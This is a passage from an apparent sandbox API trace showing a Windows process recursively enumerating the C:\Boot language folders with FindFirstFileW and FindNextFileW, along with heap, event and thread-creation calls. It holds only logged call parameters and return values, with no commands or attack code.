lpFindFileData=0x2fef3a4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xef703e94, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0044.330] FindNextFileW (in: hFindFile=0x10dc3d0, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1 [0044.330] FindNextFileW (in: hFindFile=0x10dc3d0, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0044.330] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\*", lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x9c, cFileName=".", cAlternateFileName="")) returned 0x10dbdd0 [0044.336] FindNextFileW (in: hFindFile=0x10dbdd0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x9c, cFileName="..", cAlternateFileName="")) returned 1 [0044.336] FindNextFileW (in: hFindFile=0x10dbdd0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, dwReserved0=0x0, dwReserved1=0x9c, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.337] FindNextFileW (in: hFindFile=0x10dbdd0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x9c, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0044.337] FindNextFileW (in: hFindFile=0x10dbdd0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x9c, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0044.337] FindClose (in: hFindFile=0x10dbdd0 | out: hFindFile=0x10dbdd0) returned 1 [0044.337] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x3d70048 | out: hHeap=0x2b10000) returned 1 [0044.337] FindNextFileW (in: hFindFile=0x10dc3d0, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="da-DK", cAlternateFileName="")) returned 1 [0044.337] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\da-DK\\*", lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x9c, cFileName=".", cAlternateFileName="")) returned 0x10dc310 [0044.338] FindNextFileW (in: hFindFile=0x10dc310, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x9c, cFileName="..", cAlternateFileName="")) returned 1 [0044.338] FindNextFileW (in: hFindFile=0x10dc310, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x9c, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.338] FindNextFileW (in: hFindFile=0x10dc310, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x9c, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0044.338] FindNextFileW (in: hFindFile=0x10dc310, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x9c, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0044.338] FindClose (in: hFindFile=0x10dc310 | out: hFindFile=0x10dc310) returned 1 [0044.339] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x3d70048 | out: hHeap=0x2b10000) returned 1 [0044.339] FindNextFileW (in: hFindFile=0x10dc3d0, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="de-DE", cAlternateFileName="")) returned 1 [0044.339] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\de-DE\\*", lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x9c, cFileName=".", cAlternateFileName="")) returned 0x10dc150 [0044.339] FindNextFileW (in: hFindFile=0x10dc150, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x9c, cFileName="..", cAlternateFileName="")) returned 1 [0044.339] FindNextFileW (in: hFindFile=0x10dc150, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48079da, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x9c, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.339] FindNextFileW (in: hFindFile=0x10dc150, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x9c, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0044.339] FindNextFileW (in: hFindFile=0x10dc150, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x9c, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0044.339] FindClose (in: hFindFile=0x10dc150 | out: hFindFile=0x10dc150) returned 1 [0044.339] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x3d70048 | out: hHeap=0x2b10000) returned 1 [0044.339] FindNextFileW (in: hFindFile=0x10dc3d0, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="el-GR", cAlternateFileName="")) returned 1 [0044.339] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\el-GR\\*", lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x9c, cFileName=".", cAlternateFileName="")) returned 0x10dbdd0 [0044.341] FindNextFileW (in: hFindFile=0x10dbdd0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x9c, cFileName="..", cAlternateFileName="")) returned 1 [0044.341] FindNextFileW (in: hFindFile=0x10dbdd0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13960, dwReserved0=0x0, dwReserved1=0x9c, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.341] FindNextFileW (in: hFindFile=0x10dbdd0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x9c, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0044.341] FindNextFileW (in: hFindFile=0x10dbdd0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x9c, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0044.341] FindClose (in: hFindFile=0x10dbdd0 | out: hFindFile=0x10dbdd0) returned 1 [0044.342] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x3d70048 | out: hHeap=0x2b10000) returned 1 [0044.342] FindNextFileW (in: hFindFile=0x10dc3d0, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="en-GB", cAlternateFileName="")) returned 1 [0044.342] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\en-GB\\*", lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x9c, cFileName=".", cAlternateFileName="")) returned 0x10dbf90 [0044.343] FindNextFileW (in: hFindFile=0x10dbf90, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x9c, cFileName="..", cAlternateFileName="")) returned 1 [0044.343] FindNextFileW (in: hFindFile=0x10dbf90, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x9c, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.343] FindNextFileW (in: hFindFile=0x10dbf90, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x9c, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0044.343] FindClose (in: hFindFile=0x10dbf90 | out: hFindFile=0x10dbf90) returned 1 [0044.343] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x3d70048 | out: hHeap=0x2b10000) returned 1 [0044.343] FindNextFileW (in: hFindFile=0x10dc3d0, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="en-US", cAlternateFileName="")) returned 1 [0044.344] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\en-US\\*", lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x9c, cFileName=".", cAlternateFileName="")) returned 0x10dc190 [0044.344] FindNextFileW (in: hFindFile=0x10dc190, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x9c, cFileName="..", cAlternateFileName="")) returned 1 [0044.344] FindNextFileW (in: hFindFile=0x10dc190, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef569843, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x327294d0, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x121a0, dwReserved0=0x0, dwReserved1=0x9c, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.344] FindNextFileW (in: hFindFile=0x10dc190, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x9c, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0044.344] FindNextFileW (in: hFindFile=0x10dc190, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x9c, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0044.344] FindClose (in: hFindFile=0x10dc190 | out: hFindFile=0x10dc190) returned 1 [0044.344] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x3d70048 | out: hHeap=0x2b10000) returned 1 [0044.344] FindNextFileW (in: hFindFile=0x10dc3d0, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="es-ES", cAlternateFileName="")) returned 1 [0044.344] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\es-ES\\*", lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x9c, cFileName=".", cAlternateFileName="")) returned 0x10dbf90 [0044.346] FindNextFileW (in: hFindFile=0x10dbf90, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x9c, cFileName="..", cAlternateFileName="")) returned 1 [0044.346] FindNextFileW (in: hFindFile=0x10dbf90, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x9c, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 Thread: id = 37 os_tid = 0x408 [0042.291] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x38) returned 0x2b15460 [0042.291] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x18) returned 0x2b154a0 [0042.291] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2e4 [0042.292] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2e8 [0042.292] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2ec [0042.292] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10000) returned 0x3320060 [0042.292] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0xcd3979, lpParameter=0x32efa60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f0 [0042.292] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0xcd3979, lpParameter=0x32efa60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f4 [0042.293] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10000) returned 0x3330068 [0042.293] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*", lpFindFileData=0x32ef7d8 | out: lpFindFileData=0x32ef7d8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x32efa00, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x10c9450 [0043.000] GetLastError () returned 0x0 [0043.000] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x214) returned 0x2b190a0 [0043.000] GetModuleHandleW 